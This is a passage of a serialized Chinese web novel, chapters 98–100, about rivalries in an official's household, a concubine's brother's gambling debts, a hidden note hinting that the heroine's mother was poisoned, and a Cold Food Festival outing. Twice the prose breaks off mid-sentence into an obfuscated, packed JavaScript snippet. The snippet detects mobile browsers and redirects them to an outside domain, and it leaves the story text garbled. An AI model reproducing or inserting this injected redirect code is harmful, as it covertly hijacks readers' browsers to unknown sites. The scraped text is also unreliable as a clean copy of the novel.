李珺闻言,立刻扳过宁双双的脸来看,一看才发现宁双双唇色惨白,登时心痛又愤怒,说:“把库房管事儿的人打十板子,丢出去!李福,叫你大儿子调去,库房不许有这等不分尊卑的蠢货!” 李福闻言大喜,立刻应了。 “双双,你可开心了?”李珺说完,立刻哄她,“别哭了,咱们吃点东西好不好?” “不好。”宁双双侧头哭着说,“我无依无靠,左右也没什么用,连孩子也没替您保住,还天天白花大把银钱,不像大娘子主持中馈,也不像崔小娘那般到底给您生儿育女,双双是个无用之人……” 李珺听到这里,愈发怜惜她无依无靠,坐下来,温声说:“这样,你若是能学得会管家算账,我便给你个铺面,或是给你个庄子。” 宁小娘一顿。 李珺便知道有用,立刻说:“也是我考虑不周全,你只得月例,想用些什么东西,事事都要走公中,确实是个麻烦,我该早些给你写傍身东西的。” 宁小娘转头,颤声说:“珺郎,你对我真好。” 说着,又落下晶莹的泪珠来。 “我对你好,你怎地还哭了?”李珺笑着问。 “如今郎君对我这般好,日后若是不喜欢双双,不再对双双好了,那双双要怎么活下去?”宁小娘颤声回答。 美人拿着帕子、红着眼圈落泪,只叫李珺心都纠结成一起了,他哭笑不得,温声哄:“那便一辈子只对双双好,如何?” 他声音低了下去,云青立刻给雪沫使个眼色,两人一起退到门口。 便在这个时候,孙萍屋子里的老妈妈来了,打破了旖旎气氛。 “怎么了?”李珺不耐烦地隔着纱帘问。 “回老爷,大娘子问寒食节去流云台寺上香的事情。”老妈妈垂目不敢看里面,着急地想多说些。 却听到李珺冷声说:“成了,让她安排就是,别天天拿这种小事来烦我!” 老妈妈被赶出去,一头汗地回去,回禀孙大娘子。 孙萍听到李珺大白天把宁小娘抱在怀里,咬牙半晌,默默把头上的珠花摘下来,猛地拍在桌上。 “不知廉耻的乡**妇!拉着男人**的……真正是贱妇!”孙萍咬牙低声痛骂,仿佛嗜人恶鬼一般,恨意若是能**,足够宁双双再死一万次。 第九十八章 崔小弟来访 孙萍不好过,崔妙人今日也不好过。 因崔小弟来了。 自从崔小娘得了李珺宠爱之后,崔家人就跟着鸡犬升天,举家在京师过着富家翁的生活。 只这回过来,崔小弟一身狼狈,一个照面唬的崔妙人坐起身惊问:“你这是怎地了?难道路上遭歹人**了?!” “姐!救命啊!”崔小弟进门“噗通”一声跪下哭喊。 “这是怎地了?怎地了?”崔小娘给他这个样子唬的不行,连声问,又说,“你说,是怎么个事儿,别怕,实在不行我叫你姐夫给你做主!” 想到在当官的姐夫,崔小弟打起精神,抹着眼泪把事情说了出来。 却原来前不久的时候,庄子上来了个外地来的大富商,一出手就把庄子上所有出息全部高价收了,到手比以往多赚了两百多两。 且那大富商与崔小弟投缘,又对四下不熟,便雇崔小弟居中介绍,叫崔小弟很是得了一笔好处。 “那你怎地闹成这样了?!”崔小娘听到这里,登时急了。 “后来那陈兄因和人谈生意,去赌场那边玩了几把……”崔小弟哭丧着脸说,“我便也跟着去了……” “难道你被人设局了?那富商是假的?!”崔小娘听到这里,立刻便猜测。 没想到崔小弟摇头,哭着说:“陈兄对我很好,第一回他出来就叮嘱我,说谈生意陪着人玩玩不要紧,但是不可沉迷。只是、只是我第一日在赌场赢得多,加上后来陈兄又去谈生意,我赌了几把,竟**都是赢的……” 崔小娘登时懂了,立刻勃然大怒,说:“人家贵人都提醒你了!你难道没听过赌场只有庄家赢的?你怎地还去!你是猪吗?!” 说着,崔小娘气的心肝痛,立刻抽起身边的鸡毛掸子,朝着弟弟就是一顿劈头盖脸地抽打。 “姐、姐!别打了!我知错了!”崔小弟哭着嚎,一把抱住崔小娘的腿,哭喊着说,“姐,我还不敢跟爹妈和大哥说,咱家庄子上这半年的出息也给我搭进去了,我还欠了一千两,赌坊说不还钱就去家里,要把你几个侄儿侄女全部拉去卖了抵债……姐、姐,你救救我吧!” “你说什么?!”崔小娘听到这里,登时连**的力气都没有了,哆哆嗦嗦地跌坐在椅子上,问,“你还欠了多少?一千两?” “一千零二百六十两……”崔小弟期期艾艾地说完,不等崔小娘厥过去,就哭喊着膝行到她面前,说,“姐,你救救我,救救我吧姐!只有你能救我了!” 崔小娘心里呕的差点没一口老血吐出来,她哭喊一声,怒声吼:“一千两百六十两!那都可以买个庄子一家养老了!你怎地能做出这种事情!” 吼完崔小娘怒声说:“我帮不了你,这么多钱,谁能拿出来?你回去吧,我如今是管不得你了!” “姐,我不能回去,我若是回去,我要被赌坊的人打死的啊!大哥二哥只怕知道这事儿,也要把我扫地出门,姐,这些年我最是与你贴心,**你有什么事儿,都是我跑前跑后,姐,你心疼心疼弟弟吧!”崔小弟知道要是姐姐不帮他,他只怕就真的要家破人亡了,立刻哭喊着抱着崔小娘的手不松开。 崔小娘打骂完了,又不可能真的不管他,叫他给人逼死,擦着眼泪去屋里开了箱笼首饰,把不打眼的全数搜刮出来,还有个三百两的窟窿,却是怎么也补不上了。 “你去,跟老爷说一声,就说我爹今年冬天**病犯了,凶险的狠,庄子上今年出息全都拿去给我爹治病了,偏还没好。”崔小娘对姜妈妈吩咐。 “小娘……”姜妈妈不愿意去,她知道老爷对小娘已经愈发不如往年,这时候还拿家里的事情去烦老爷,对崔小娘十分不好。 “哎呀,我姐姐叫你去你就去!”崔小弟见状,立刻催促,“还磨蹭什么!” 姜妈妈看崔小娘,见崔小娘执意如此,便叹了口气,自去前院找李珺。 到了前院,才发现门关着,李珺在屋里哄宁小娘呢,李福便当先拦住了姜妈妈问什么事情。 姜妈妈便把事情说了,李福眼神微动,直接应下来,在门口就叫李珺:“老爷,崔小娘身边的姜妈妈来了。” 李珺在里头沉默一会儿,隔着窗户问怎么回事,李福便把事情说了,又说:“崔小娘说,这吃药算下来得要三四百两呢……” “她自个儿没钱吗?”李珺在屋里没好气地回了,李福不敢出声,只恭敬地等着。 果然李珺沉默一下,才说:“你去账上给她支三百两送回去。” 李福便立刻应声,出门到了门口,支使伺候的小厮赶紧去取钱。 姜妈妈从头到尾都没进院子,也没见到李珺,但是见到屋子门口云青站着,还关着门,自然知道是怎么回事。 她拿了钱,回去交给崔小娘。 这下子钱凑齐了,崔小弟立刻高兴起来:“姐,姐夫对你可真好!” 这话说的崔小娘开心,立刻便瞪了崔小弟一眼,说:“也就是你姐夫知道心疼我,不然你闯下这么大的祸事,我自个儿可救不得你!” 崔小弟大喜,连忙指天赌咒发誓,说还了这钱,日后定不再赌了云云。 崔小娘千叮万嘱他还了钱快些回去,再不许胡来了。 崔小弟连声答应,抱着钱财出去了。 “妈妈从刚才开始脸色就不好,可出了什么事情?”崔小弟一走,崔小娘便问。 姜妈妈立刻把方才的事情说了,又说:“老爷如今愈发被宁小娘勾走了心,小娘虽有往日情分,但是家里谁与老爷没有情分呢?您如今屋里钱财还给舅爷搜刮一空,庄子上的钱一年比一年送得少……这么下去不是个事儿啊!” 崔小娘又如何不知道? 她捏了捏帕子,轻声说:“可那是我爹娘和兄弟,我总不能不管。” “小娘,平常人家农户,二十两都能过一年好日子了,您那庄子,刚接手的时候一年能得四百两,每年还有各种土仪,自从娘家来京师管事,一年不到两百两,有时候还给家里花用了,送过来只得百来两银钱……”姜妈妈轻声说,“这便是乡下土财主,一年也只花这么多钱。” 崔小娘何尝不知道,可那到底是自己家里人。 姜妈妈叹了口气,轻声说:“往年您是日子好,那边没钱,自然有老爷贴补,自然不缺花用。可如今您若是再不立起来,日后文哥儿大了,要出去结交朋友、饮宴来往,若是手头无钱,比不过二哥儿,该如何是好?” 公中的份例都是有数的,李珺再怎么贴补也不可能厚此薄彼,李辰文本就是庶子,若是因为无钱叫李辰瑜比过去,自然出门会叫人看低三分。 想到这里,崔小娘身子一抖,神色这才凝重起来,咬牙说:“妈妈放心,只此一次,小弟他若是改好了就好,若是他再闹出事来……我也不会再管了!” 姜妈妈一听,立刻高兴起来,说:“我知道小娘心里都有成算,原是我多嘴多舌了。” 崔小娘眼神微暗,轻声说:“妈妈是为我好,我都知道。” 她何尝不知道家里都是靠着她过活? 只是她还记得阿娘牵着她的手,不停不停地走,就是为了不让她被卖到烟花之地去。 还记得阿娘含着泪把她的手交给管家,哭着对她说:“小丫,以后好好过,就当家里人**,自个儿好好照顾自己!” 还记得临出门时,大哥往她怀里塞的五个铜板。 这一家人啊,打断骨头连着筋,崔小娘叹了口气,不敢再去细想家里这摊子事情,只勉力笑笑,说:“妈妈放心,这事儿就到此为止,叫人把桌子摆好,我要好好再描一下黄老那泰山图。” “哎!”姜妈妈连忙点头,笑着说,“老爷寿辰的时候看到这幅图,一定会十分开心!” 崔小娘含笑,轻声说:“且叫宁双双再得意几日!” 西院安静下来,丁妈妈隔着院子门,看到崔小弟鬼鬼祟祟从后门走了,立刻便回来禀告:“姑娘,崔小娘那弟弟走了,还有,陈管事刚托人带话,问他若是还了钱回庄子,可还要再想别的办法?” 这个他,自然是指崔小弟。 “他不会回去的。”关怀素喝了口茶,说,“崔小娘若是豁出去,狠心叫家里人来接走他,一家人押着他回去做几年农活,死死看着,人还能救。但是她给钱给得太简单了,尤其是父亲,随手便是几百两,你猜他会不会受到教训?” “自然不会,只怕更放心大胆赌了。”丁妈妈也是老人了,见过的事情多,村里又不是没有烂赌鬼,因此非常斩钉截铁地说。 关怀素十分同意,陈渠报回来的消息,他特地选择崔小弟作为突破口,就是因为打听回来的消息,这崔小弟一则十分受崔家二老疼宠,在家活儿都不怎么干,全家都是靠家里养着。 第二就是,崔小弟原在村里就十分好赌。 只是之前有兄长和爹娘在面前管着,到底还是不敢闹得太过,最多输个几两十几两的,便老实一阵。 这回陈渠给了他个由头,没了爹娘管制,自然是放开手脚赌了个痛快。 原本欠的钱太多了,有些吓到了,偏父亲和崔小娘这轻轻松手就漏出这么多钱,瞧着也未曾伤筋动骨的样子……崔小弟怎么可能受到教训回家呢? “叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351182|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈渠收拾一下可以回去休息了。”关怀素笑了笑,说,“接下来用不上他了,崔小弟自个儿会争气的。” 丁妈妈答应了一声出去了。 关怀素又对柳叶说:“柳叶你打点一下咱们的钱,崔小娘那庄子,如今买回来只怕也得两三千两了,看看咱们账上的钱够不够。” “姑娘,如今京师边上的庄子有钱都买不到好的,崔小娘又不是发癫了,怎么会卖庄子呢?”柳叶听关怀素的意思,竟是筹钱准备买那庄子,忍不住有些惊讶地说。 关怀素却笑了笑,说:“要不咱们赌一把,就赌崔家人会不会卖庄子?” 柳叶却不上当,说:“姑娘敢这么说,定然是心里有底了……啊!” 柳叶突然灵光一闪,说:“姑娘方才一直在说崔家人卖庄子,却没说崔小娘,难道、难道姑娘猜测,崔家人出事了之后,会偷偷卖崔小娘的庄子?” 看关怀素笑着不说话,柳叶立刻明白自己猜对了,立刻震惊地说:“可是这庄子可是在崔小娘名下!他们若是卖了,崔小娘计较起来,这里头可麻烦了!” “那又如何?孝比天大,崔小娘敢状告兄弟,难道还敢状告爹娘?”关怀素一句话,立刻问的柳叶沉默了。 当然不能,可是柳叶还是有些不敢置信,她觉得崔家人不至于这么绝情,毕竟是亲生女儿,还这么孝顺。 而且,柳叶轻声嘀咕:“便是个傻子也知道,那烂赌鬼是救不得的,而且自个儿亲女儿好歹如今是受宠的姨娘,有她帮衬,一辈子日子都好过,便是为了这个,也不至于为了那烂赌鬼害女儿吧?” 关怀素笑了笑,轻声说:“小柳叶,人是非常奇怪的,人对自己辜负过的人,会更容易继续辜负。而对自己疼爱的人,会一次次继续选择包庇和疼爱。” “就像我们当初在江南见到的,为了赌鬼小儿子逼死孝顺长子一家的人家吗?”柳叶突然想到了往事,登时瞪大眼睛。 关怀素点头,轻声说:“人有时候就是如此,是完全不讲道理的。我们就看看,被家里卖了一次的崔小娘,会不会再被卖第二次吧?” “姑娘会这么说,定然就是会了。”柳叶不假思索地说完,又叹了口气,说,“可怜崔小娘,算计人家,却也没想到最亲的家里人,也会算计她。” 这就是关怀素想看到的,崔小娘这种人,软肋只有这几个,她要一个个全数敲断,叫崔小娘夜不能安枕,要锥心刺骨地疼,才能算是替姐姐报仇雪恨。 二人说着话,关怀素站起身,说:“事情都安排好了,我去看会儿书。” “哎,好,姑娘你看书,我叫小荷给你换壶热茶,再去收拾一下明儿要穿的衣衫。”柳叶答应着,便出去忙活了。 关怀素站起来,在书柜面前挑选。 也不知今日,是不是突然之间,姐姐在天之灵终于显灵了。 这里的书,几乎每一本,都已经叫关怀素翻看过一遍。 平素也没觉得有任何不对,今儿关怀素突发奇想,蹲下来去看最下面的一层,找一本被她随手放进去的书。 她第一次跪在地上侧头往里面看,拿出书的时候,猛地带动了里面的书,书架碰到之后,发出了空洞的回音。 关怀素心脏猛地一滞,突然意识到了什么,她伸手进去,摸索到了一个凸起。 关怀素屏住呼吸,轻轻按下去。 “咔哒”一声,轻飘飘的一个东西落在了关怀素手上。 她拿出来一看,是卷起来的一张纸。 关怀素站起身,展开一看,上面用娟秀的字迹写着:“宁小娘落胎,落红不止又全身发寒、通身起红斑,好像当年闵叔叔说的阿娘症状。” 一句话,看得关怀素眼睛瞪大了。 这纸上似乎是不同时期记下来的,都是匆匆几句话:“厨房给宁小娘安排了药,喝完宁小娘晚上又大出血,差点**。” “闵叔叔说阿娘不该死的,郎中也说宁小娘本来没大事的。” “我遇到云青偷偷倒药了,宁小娘不吃家里熬的药了,她反而好起来了。” “阿娘,当初,你是被害死的吗?” 最后这写的仓促的一句,看得关怀素眼睛发红。 她一直如同没头苍蝇一样调查,如今看到姐姐的这些话,虽只是寥寥几句,却终于叫关怀素知道阿娘的死要从何查起,也终于有头绪了。 她眼圈发红,轻声说:“姐姐,你放心,我一定会查个水落石出。” 说完,关怀素拢起手里的纸,动作轻柔,眼里的泪滴下来。 像是与惶恐不安的姐姐隔空拥抱了一下。 第九十九章 寒食节·上 第二天一大早,孙大娘子屋里妈妈就过来通知,叫姑娘们都去东院里选料子,绣娘来了,要给大家做夏日衣裳。 关怀素过去的时候,便见到婉蓉早已经过来了,正站在料子边上左右翻看。 “我喜欢这个!”她拿起一匹银红色的沙,对着绣娘说,“拿这料子给我做个绣芍药的大袖衫!” “这一批都是江南送来的好料子,婉玉先选。”孙大娘子笑着说,“你选好了,剩下的再给你两个妹妹选。” 婉蓉怒声说:“都是一家子姐妹,凭什么我们要选姐姐挑剩下的?” “这批料子都是刘仁托人送来的,又不是家里的东西,当然要给你们大姐姐先选。”孙大娘子笑着说,“你们都是沾了大姐姐的光,知道吗?” “你先选,若是都喜欢,就全数都拿去。”孙大娘子说完,笑着对关怀素说,“刘仁那孩子,嘴上说是送给家里做衣衫,但是我知道,他主要是想送你。” 关怀素瞬间明白了孙大娘子的打算——她在故意气婉蓉。 为什么? 关怀素不明白,但是却非常乐意配合,立刻笑了笑,说:“这里五六十匹料子,我一个人哪里穿得完?我瞧着不只是二妹妹和三妹妹可以多做些,便是家里都可做些。” 说完她过去笑眯眯地从婉蓉手上把那银红色的纱一点点拉过来,说:“二妹妹说这料子做大袖、绣芍药好看,我觉得极好,我虽不合适,但是这匹布实在是适合宁小娘,我就替她选了。” 说完又连着点了几匹最艳丽值钱、婉蓉一看就十分喜欢的料子,全数让人直接送到宁小娘屋里。 而后又自己毫不客气地选了七八匹鲜嫩的好料子,给李珺、崔小娘和大娘子也各意思意思选了两匹,她如此选完,当场便少了一半的好料子。 关怀素这才笑着说:“其他的,妹妹们自己挑吧。” 说完,她便笑着与绣娘商量做什么样子的衣衫,婉蓉在旁边气急,婉淑却笑了笑,上前翻捡起来。 婉蓉本来气的都不想选了,但是看婉淑已经在挑,生怕自己吃亏,便压着火气也迅速翻捡起来,最后也挑了七八匹料子,才算是结束。 只是虽也定了新衣,婉蓉回院子的时候还是生气的。 进了院子就对着崔小娘说:“娘,大姐姐真是猖狂得很!” 便把刘仁送布料的事情说了,崔小娘早拿到了料子,正说自己衣裳多,这次就不做了,叫把料子收着。 这会儿一听,登时诧异地瞪大眼睛,说:“五六十匹布,还都是江南最时兴的绫罗绢纱!婚事还没定,他随手就送了这么多东西来?” “那算什么,大长公主当初给大姐姐送的那珍珠冠就不知道多少钱了,刘仁能没钱吗?!”婉蓉越说越生气,越说越妒恨,说,“大姐姐如今要攀上高枝了,行事瞧着都厉害不少,今儿个那些料子,我喜欢的全数被她挑走了!” “大娘子还不知道刘仁的底细?”崔小娘立刻抓住重点问。 “不知道,她只当是西北豪商。”婉蓉生气地说,“小娘,你说,大娘子若是知道,难道真把大姐姐嫁过去……那说不得日后也是个侯夫人呢!” 崔小娘一听,眼睛精光爆闪,轻声说:“不,你爹不会愿意的。” 婉蓉想问什么,崔小娘却不说了。 于是婉蓉又生气起来。 婉蓉在那边发脾气,关怀素回了院子,柳叶便问:“姑娘今儿怎么瞧着故意与二姑娘对着干呢?” 这往常不是关怀素的为人习惯,她不是个轻易喜怒形于色的人,尤其是在自己心中的敌人面前。 “你没看出来大娘子在给婉蓉拱火吗?”关怀素问柳叶。 “瞧出来了,可是大娘子这是在做什么,无事给婉蓉拱火对她有什么好处?她瞧着可不是无事生非就图个嘴巴痛快的人。”柳叶好奇地说。 “我也不知道,但是婉蓉生气,我却觉得很好。”关怀素笑了笑,说,“不论大娘子目的如何,婉蓉今儿受了气,她回去会想,我和婉淑都能选最好的东西,而她日后都只能跟在后面,你想想,婉蓉的脾气,她会怎样?” “二姑娘会发疯。”柳叶立刻说,“她会想尽一切办法改变这一切。” “这就是了。”关怀素含笑点头,说,“如此一来,反倒是能为我解决刘仁这个麻烦,所以我为何不顺水推舟,帮大娘子一把呢?” “也是!反正她们也没什么好人,哪怕出什么大事,到时候丢人的也是她们!”柳叶想明白之后,立刻幸灾乐祸地说。 所有人都料的没错,婉蓉在屋里发火,崔小娘叫她一起去陪着老夫人说话,她都生气地拒绝了,说再怎样反正日后也比不过大姐姐和三妹了,她哪儿都不去。 崔小娘给她气得不行,许多谋划又不好说,只到底是自己生的,只能去老夫人身边自去伺候。 到了老夫人身边,崔小娘就说起婉蓉做新衣衫又闹脾气的事情。 老夫人一听,立刻笑了,说:“真是小姑娘家家的,这也值得闹脾气。” 又对陈妈妈说:“你去库房里找找,我记得我那儿有一匹银红色的烟云纱,是前几年我做寿,王相家里送来的贺礼,说是内造之物。你找出来,再拿几匹颜色鲜亮的一起给蓉丫头。” “哎哟,也就老祖宗您疼她,才叫她小小一个人,脾气大得很!”崔小娘听到这里,立刻笑着凑趣,说,“那么好的东西,她小姑娘何必糟践了。” “她年纪小,穿这些好看。”老夫人笑着,摇摇头,带着鄙夷地说,“也好叫大丫头知道,商贾便是再有钱,也不过如此罢了。” 商贾再有钱,却不能拿到这等内造之物,李婉玉挑了再多好料子如何?抵不过她这里随手散出去的一点。 崔小娘闻言,眼神闪烁了一下,给陈妈妈使了个眼色。 陈妈妈立刻便叫屋里丫鬟跟着自己一起出去,给婉蓉送东西。 把人都支开,崔小娘便小声对老夫人说了刘仁的身份。 气定神闲的老夫人一下子坐直了,唬的连声问:“可是真的?” “是真的,蓉儿亲自听到的!”崔小娘压低声音对老夫人说,“那位这个身份,日后只怕最低也是个侯爷!” “不成,那不能叫玉丫头嫁过去!”老夫人立刻脱口而出! “是啊!”崔小娘眼珠一转,她知道这个消息之后就一直在琢磨这事儿,这时候便小心地说,“可大娘子还不知道,最近都在撮合大姑娘的婚事呢。” “那个蠢货,千挑万选怎么选了个这样的!”老夫人气得一拍桌子,想了想,对崔小娘说,“实在不行,你得想个办法,叫大丫头嫁不成!” 崔小娘等的就是这句话,立刻凑上前,轻声说,“若是叫蓉儿抢了先,与那位有了情愫,大姑娘自然是不成了。” 老夫人想了想,点头,说:“你说的极是,蓉丫头生得好,性子也讨喜。” 又压低声音:“但是你得做两手准备,知道么?” 崔小娘便垂眸,轻声说:“大姑娘那屋里防得很,且上回惊马之后,她更加处处小心,我的手伸不到后院去,又不能跟着出门,实在是找不到机会。” 这话说的也是实在话。 老夫人想想,咬牙,轻声说:“再看看,实在不成,便再想办法。” 崔小娘立刻点头。 第二日便是寒食节。 出发的路上,婉淑上了马车,便开始闭目养神。 她自打和赵二郎定亲之后,行事愈发端庄稳重起来,已经提前开始摆起了高门大娘子的架子。 她如此表现,关怀素并不关心,但是婉蓉却愈发心中不忿。 因她知道,婉淑如此作态,不过是下半辈子都有了指望,于是愈发故作清高而已。 大姐姐也是,如今知道刘仁是公主之子,还有平安侯那点人情,日后说不得就是侯夫人,自然也可以稳坐钓鱼台。 都是一家子姐妹,竟只有她一个人要嫁给那劳什子五品官家里的三子,到时候她在后宅还得苦苦熬着,见了大姐姐和三妹还得赔笑巴结,就像昨儿选布料一般,等着二人从手上漏一点给她……婉蓉无法接受这样的人生! 想到这里,婉蓉愈发咬牙,神色发狠。 关怀素看着,知道婉蓉不甘,今日只怕会有所动作,心中满意。 马车很快到了流云台寺,众人一起拾阶而上,到了寺中,后山禅院处已经是聚满了熟人。 “哎哟,你们可来了,方才大家伙儿才念叨你们呢!”众人欢声笑语地见礼,武安将军的儿媳妇凑到面前与众人打招呼,然后说,“哎呀,真是好巧,一会子我让我那侄子过来与大家打招呼。” “叫他们小辈自个儿玩耍便是。”孙大娘子这回却并不热情接话,也不叫刘仁来与关怀素见面,只笑着说,“往日在家里怪冷清的,今儿可算是凑着趣了,我们也去看看风景!” 这话说完,便叫小辈们一起去先给太子和良娣问安,而后自去踏青玩耍便是。 武安将军的儿媳愣了一下,到底也只能跟着走了。 关怀素三人便跟着另外几家的姑娘一起进门,远远瞧见太子一身红衣,正笑着摘下一朵海棠,簪在旁边黄衫女子的鬓边。 那鲜红的海棠花衬的黄衫女子鹅蛋脸白里透红,她低头宛然一笑,一时娇艳过鬓边红花。 关怀素看得一愣。 其实不只是她,众人都有些愣住了。 “白芷姐姐好像更漂亮了。”有个年纪小些的姑娘脱口而出,说出来众人心声。 是的,赵白芷看着真的愈发漂亮了,她原本生的就漂亮,但是却因为总是端庄老成,打扮也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354808|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不十分出挑,便是衣裳首饰从来都较为素简,因此并不十分扎眼。 如今一身娇艳黄衫,外头罩着莹白绢纱,一条珍珠玉扣儿的腰带细细拢出不盈一握的纤腰,当真是风流婀娜、娇媚过人。 众人上前请安,太子也不看,赵白芷倒是和气,“嗯”了一声,拉着婉淑笑着说了几句场面话。 给足了婉淑这个未来嫂嫂面子之后,婉淑笑着带众人离开,关怀素落在后头,赵白芷看到她登时眼前一亮,笑着对关怀素招手:“婉玉姐姐,我们方才在看海棠花呢,你快来看看!” 这一声招呼,众人的视线登时都到了关怀素身上。 一些闺秀原先十分羡慕婉淑得良娣青眼,如今看赵白芷对关怀素的态度,就知道她对婉淑是姑嫂情分,对关怀素才是真正手帕交的亲密,脸上就立刻露出了艳羡神色。 丽娘心中为婉淑不忿,又不想教关怀素独美,眼珠一转,立刻便上前一步,笑着说:“良娣姐姐,许久不见,丽娘也很想你,可否叫丽娘也陪着你一起看花呢?” 赵白芷在闺中就温柔大度,丽娘当年偶尔也曾在赵白芷的宴席上发脾气,总能得她笑着安抚。 因此丽娘心中总觉得,这时候自己凑过去,赵白芷应当不会拒绝。这样好歹也不叫关怀素独美人前,叫人看轻了婉淑去。 因此她笑着说完,就起身要凑过去。 赵白芷身边的老嬷嬷冷声呵斥:“大胆!良娣未曾召唤,怎可随意近身?” 丽娘唬了一跳,但是周围人都看着,她也怕丢人,炸着胆子说:“可是,良娣姐姐也没说什么呢!我与良娣姐姐闺中素来一起玩耍的,并不是旁人,嬷嬷不必这么吓唬人吧!” 她开始还有些害怕,说到后面自己也觉得似乎十分有道理,竟是言语之中愈发笃定,就要绕开嬷嬷走过去。 关怀素看着,正要上前去帮忙,却突然听到太子突然冷声说:“那个女的好聒噪,拖出去!” 丽娘吓了一跳,立刻“咚”的一声跪倒在地,吓得声音都在颤抖,带着哭腔轻声喊:“白芷姐姐、姐姐,我、我……” “算了吧,殿下。”赵白芷一开口,关怀素就微微皱眉——不管是否故意,丽娘今日此举十分孟浪,今时今日,赵白芷代表的已经不只是自己,她现在代表的还是皇室威严。 她贵为太子良娣,丽娘不得宣召就敢靠过去,往小了说是丽娘不知轻重,但是往大了说,丽娘算是藐视皇威。 平日也就算了,这可是赵白芷成为良娣之后第一次出门,若是随意都可以这样往她和太子身边凑,到时候像个什么样子? 想到这里,关怀素心里着急,看着丽娘喜极而泣,想说什么,却听到赵白芷轻声叹了口气,说:“她到底是个姑娘,今儿拖出去,日后如何做人?” 丽娘大喜,正要抬头谢谢白芷姐姐,却听到赵白芷温声说:“便叫她家里人带走,不在这里惊扰大家就是。” 丽娘大惊,不可置信地看着赵白芷,说:“白芷姐姐,你怎地……” 关怀素看她还在犯蠢,知道这姑娘是蠢得没救了,难怪叫婉淑当作好友,只怕不少为婉淑出头干过蠢事。 现在赵白芷已经在保她,她要是再乱说一句话,只怕今儿真的要遭。 也是丽娘有一点运气,恰在她又要说话的时候,突然门外传来大家纷纷请安的声音,在一叠声“侯爷安康”的声音之中,那边垂丝海棠的拱门边走出来一个披着玄色风衣的男子,难得长发如瀑放下来,只以玉簪半挽发髻,肤白如雪、眉如黛墨。 是周乐天。 而且是不知为何,格外慎重打扮的周乐天。 众人哪怕早知他丰神如玉,但他病重以来,一直素朴,从未见他如此整装,一时竟都纷纷看呆了。 关怀素也是一愣。 周乐天心中十分紧张,他今日出门换了十几套衣衫,连熏香都从昨日挑到了早上才确定,梳的头发也是来福说近日京师十分时兴的。 他自小知道自己生得好,但是少时他并不喜欢人谈及外貌,后来每日征战,更是完全顾不上,到今日才算是认认真真,第一次认真装扮。 可是周乐天还是很怕。 他心中担心,他是不是太过病气了一些? 会不会显得太过羸弱? 他心中忐忑,盛装打扮,为的,便是想对心中倾慕之人表白心迹——和母亲谈崩之后,刘仁已经到了京师,周乐天不敢一丝犹豫,只想快些让关怀素知道自己的心意。 周乐天心中觉得关怀素不会喜欢刘仁这样的人,但是他不敢赌,万一中途出了岔子,真叫这事儿定了,或是叫关姑娘觉得刘仁此人还成……那如何得了! 所以今日至关重要,他表面上拂过垂丝海棠,神色镇定,实则远远看到人群里的关怀素,已经是心如鼓擂。 第一百章 寒食节·中 周乐天进来,众人纷纷行礼问安。 也是丽娘那奶妈子机灵,趁机上前一把拉住还在发呆的丽娘就走,临走还给睁一只眼闭一只眼的赵白芷行了个大礼。 关怀素上前行礼问安,道良娣安康。 赵白芷笑着拉她的手,轻声说:“那劳什子,都是别人叫的,婉玉姐姐还叫我白芷妹妹就好。” 看关怀素迟疑,她苦笑一声,作势松手,说:“罢罢罢,却是我自作多情,还以为婉玉姐姐是真心与我做个手帕交,没想到……” “白芷妹妹!”她话没说完,关怀素便一把拉住她的手,连声告饶,说:“我也是想着今时不同往日,总要尊重你的身份,可没有与你疏远的意思!” 赵白芷这才转嗔为喜,笑着拉她说:“我知道姐姐是为我着想,旁的我自会小心,但是姐姐又不是外人,我如今虽在皇家,但是总也能有一两个朋友的。” 关怀素闻言,心中顿时明白她应是嫁过去之后已经站稳了脚跟,因此并不过分谨慎,反而透出处处从心所欲来。 小心抬头细看,便发现刚才远远看到的竟不是错觉,赵白芷才出嫁不到半月,整个人神色气度竟与闺中大不相同。 不但瞧着肤色更为白皙细嫩,便是神色也都舒展很多。 “妹妹瞧着似乎过的很好。”关怀素轻声说。 “我过的非常好。”赵白芷看向旁边正与周乐天招呼完毕,立刻回头过来寻找自己的太子,含羞而笑,轻声对关怀素说。 二人还没来得及说什么,太子已经过来,看着赵白芷,还是那非常古怪而且平直的语调:“你不是说想去看流云台寺的山景?现在我们便去吧?” 虽神色和语调还是有些古怪,但是却明显看得出来,太子殿下在面对赵白芷的时候,整个人格外不一样一些。 关怀素不知道怎么形容那种感觉,就觉得瞧着太子牵着赵白芷的手,二人之间气氛格外融洽。 她在后头看着,一时不知道要不要跟上去。 就在此时,身边传来周乐天轻柔的声音,低声说:“走吧,我们跟在后面。” 关怀素顺势跟上,周乐天紧张的几欲呕吐,甚至比当初夜袭阿拜疆还紧张一些,关怀素和他搭话,看他神思不属,还以为他不想说话,于是沉默下来,静静观赏山景。 身后不远处也有闺秀和郎君们跟着一起逛过来,只是都不敢跟在他们后面,找了分岔路一路嬉笑着玩耍去了。 太子与赵白芷在前头甜甜蜜蜜,他们二人却只是沉默,瞧着实在不太像话,关怀素想了想,便又主动开口问:“天气暖了,要换新方子了,我前几日叫人给你送的新的方子,你可吃了?” 周乐天心中一紧,想说话,开口才发现嗓子竟紧张的发不出声音,微微咳嗽一下,才点头说出声来:“吃、吃了,很好的……” 